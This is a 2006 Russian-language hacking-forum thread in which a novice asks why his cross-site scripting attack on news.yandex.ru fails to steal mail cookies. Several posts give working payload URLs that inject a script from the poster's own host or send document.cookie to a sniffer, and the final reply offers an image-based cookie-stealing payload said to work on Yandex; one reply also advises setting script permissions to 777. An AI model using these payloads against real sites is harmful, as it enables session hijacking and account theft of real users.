Xss (вопросов много наберитесь терпения)))

Discussion in 'Песочница' started by Pinch <-=CWT=->, 25 Aug 2006.

  1. Pinch <-=CWT=->

    Pinch <-=CWT=-> New Member

    Joined:
    7 Jan 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Привет всем! (ПОИСКОВИКОМ ПОЛЬЗОВАЛСЯ И ПРОЧИТАЛ ВСЕ СТАТЬИ О XSS на сайте)
    _____--____
    Начнем
    _____--____
    Нашел я xss на сайте news.yandex.ru (уязвимость точно есть, так как при подставки кода "<script>alert(document.domain)</script>" выкидывает название сайта) Зарегистрировал я себе 2 мыла на яндексе (1@yandex.ru and 2@yandex.ru) и пытаюсь спереть куки от одно. Тренинг короче)))
    ____--_____
    Практика
    ____--_____
    Отсылаю с 1@yandex.ru на 2@yandex.ru письмо с сылкой
    http://[адрес сайта]<script src="/cgi-bin/s.jpg?"+document.cookie;></script>
    ____--_____
    Вопросы
    ____--_____
    1) Почему на снифер не приходят куки?
    2) Прочитал на форуме античата что в активных Xss участие жертвы не нужно. Разьясните этот момент ведь мы все равно будем кидать ссылку жертве на мыло??
    3) В некоторых статьях советают создать скрипты php
    a) нужно прописывать права для скриптов на своем сайте?
    Зачем создавать скрипты когда можно через сниффер угнать куки. Или я не прав?
    _____--_____
    Последние слова (Заключение)
    _____--_____
    Поиском пользовался, видио смотрел!!!
    Спасибо огромное всем кто ответит на вопросы!!
     
  2. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    557
    Likes Received:
    111
    Reputations:
    146
    1) сложно сказать, хорошобы еслиб ты привёл пример
    2) письмо жертве посылается в html формате , где внедрён тег , который использует javascript - это и есть xss,
    пример : <img src="javascript:alert()"> - вот , жертве не нужно ничего нажимать, скрипт сработает в любом случае
    3) сессия, которая приходит на снифер "живёт" не долго, поэтому лучше, чтоб этот скрипт выполнял автоматически то, что ты хочешь сделать в почте
    права ставь 777 ( rwxrwxrwx ) – не ошибешься ( а лучше почитай про права никсах)
     
    #2 Майор, 25 Aug 2006
    Last edited: 25 Aug 2006
  3. censored!

    censored! Green member

    Joined:
    2 Nov 2004
    Messages:
    1,159
    Likes Received:
    299
    Reputations:
    156
    Дополню Майора
    Выкидывать алерт оно может, однако слеши, плюс, кавычки, проценты, точка с запятой и т.п. может и резаться.
    + когда высылаешь ссылку по почте - также и твой <script> будет вырезаться.
     
    _________________________
    #3 censored!, 25 Aug 2006
    Last edited: 25 Aug 2006
    1 person likes this.
  4. Pinch <-=CWT=->

    Pinch <-=CWT=-> New Member

    Joined:
    7 Jan 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Полный ход действий!
    Вот Xss http://news.yandex.ru/yandsearch?cl4url=lenta.ru/news/2006/08/24/nine/&country=Russia"><script>alert(document.domain)</script>
    Вот ято я посылаю на почту http://news.yandex.ru/yandsearch?cl4url=www.rian.ru/society/20060824/53095993.html&country=Russia"><script%20src="/cgi-bin/s.jpg?"+document.cookie;></script>
    Вопрос: Почему не приходят куки?
    _____--_____
    Другой способ по статье http://forum.web-hack.ru/index.php?showtopic=28026&st=0
    _____--_____
    Таже самая Xss
    Скрипты залиты на хостинг права прописаны!
    Отсылаю жертве http://news.yandex.ru/yandsearch?cl4url=primamedia.ru/news/show/%3Fid%3D19366&country=Russia="><script%20src=http://[мой_сайт]/script/xss.js>%20</script>
    Куков тоже нет? :((((((((
    Примечание: Я отсылаю <script src=http://[мой_сайт]/script/xss.js></script> жертве а потом он преобразуется в <script%20src=http://[мой_сайт]/script/xss.js>%20</script>
    Это играет какую нибудь роль?
    Ответьте пожалуйста на 3 вопроса:
    1) Почему нет куков в 1 случае
    2) Почему нет куков во 2 случае
    3) Это играет какую нибудь роль?
    Заранее спасибо спасибо спасибо)))))




    _____--_____
     
  5. LeopardSS

    LeopardSS Elder - Старейшина

    Joined:
    8 Jan 2006
    Messages:
    64
    Likes Received:
    8
    Reputations:
    5
    Ты лучше сам попробуй разобраться. Я долго с ними возился и доставал в пм майора, и все равно у меня то получалось, то нет. Потом разобрался вот и все и нет проблем
     
  6. Pinch <-=CWT=->

    Pinch <-=CWT=-> New Member

    Joined:
    7 Jan 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Напиши в чем может быть проблема?
     
  7. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Во первых, твоя хсс пассивная, а это означает, что ничего не заработает, пока жертва не нажмёт на твою ссылку(а это должен быть полный ламер(ша), чтоб жать на левые линки).

    Во вторых твоя пассивная хсс находится на другом поддомене, а куки на разных поддоменах отличаются. Те куки на mail.yandex.ru свои, а на news.yandex.ru свои.
    Так что даже если он(а) и нажмёт - толка не будет.

    В третьих - нафига тебе домен? <script>alert(document.domain)</script>
    Куки уганяются document.cookie, или когда данные передаются через гет-запрос - document.location

    В четвёртых человек может проверять почту используя программы типа зебата, аутлука, мозилы и прочих. И тут хоть тресни.
     
  8. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Вот именно... Проверь гляют ли кукисы авторизации НА ПОЧТУ под этим доменом...
     
  9. Pinch <-=CWT=->

    Pinch <-=CWT=-> New Member

    Joined:
    7 Jan 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Бля я вообще запутался ((((((
    bul.666
    Напиши как проверить!!!
    При подставки document.cookie вылазиет большая таблица где дохрена цифр! Что это значит?
    При подставки document.location выскакивает url который написан в строке браузера.
    Что нам это дает?
     
  10. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Активный xss отличается от пассивного тем, что ты его не видишь. Это просто код внедрённый в страницу, он выполняется при открытии страницы.
    В твоём случае, ты используешь пассивный xss. Чел кликнуть туда должен.
    Если я найду xss на www.bla.com, и пошлю тебе ссылку на твою почту на мэйл.ру Если ты её кликнешь куков не будет. Потому что mail.ru и bla.com два разных хоста.
    Так же 1.mail.ru, 2.mail.ru fuck.mail.ru могут быть разными хостами.
     
  11. Pinch <-=CWT=->

    Pinch <-=CWT=-> New Member

    Joined:
    7 Jan 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Это я понял, но всеравно спасибо :)
    А на вопросы кто нибудь ответит? :D
     
  12. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    976
    Reputations:
    783
    Попробуй использовать другой код. Не факт что твой код вообще должен работать.
    Вот код который работает 100% на ксс в яндексе.
    Code:
    <script>img = new Image(); img.src = "your sniffer"+document.cookie;</script>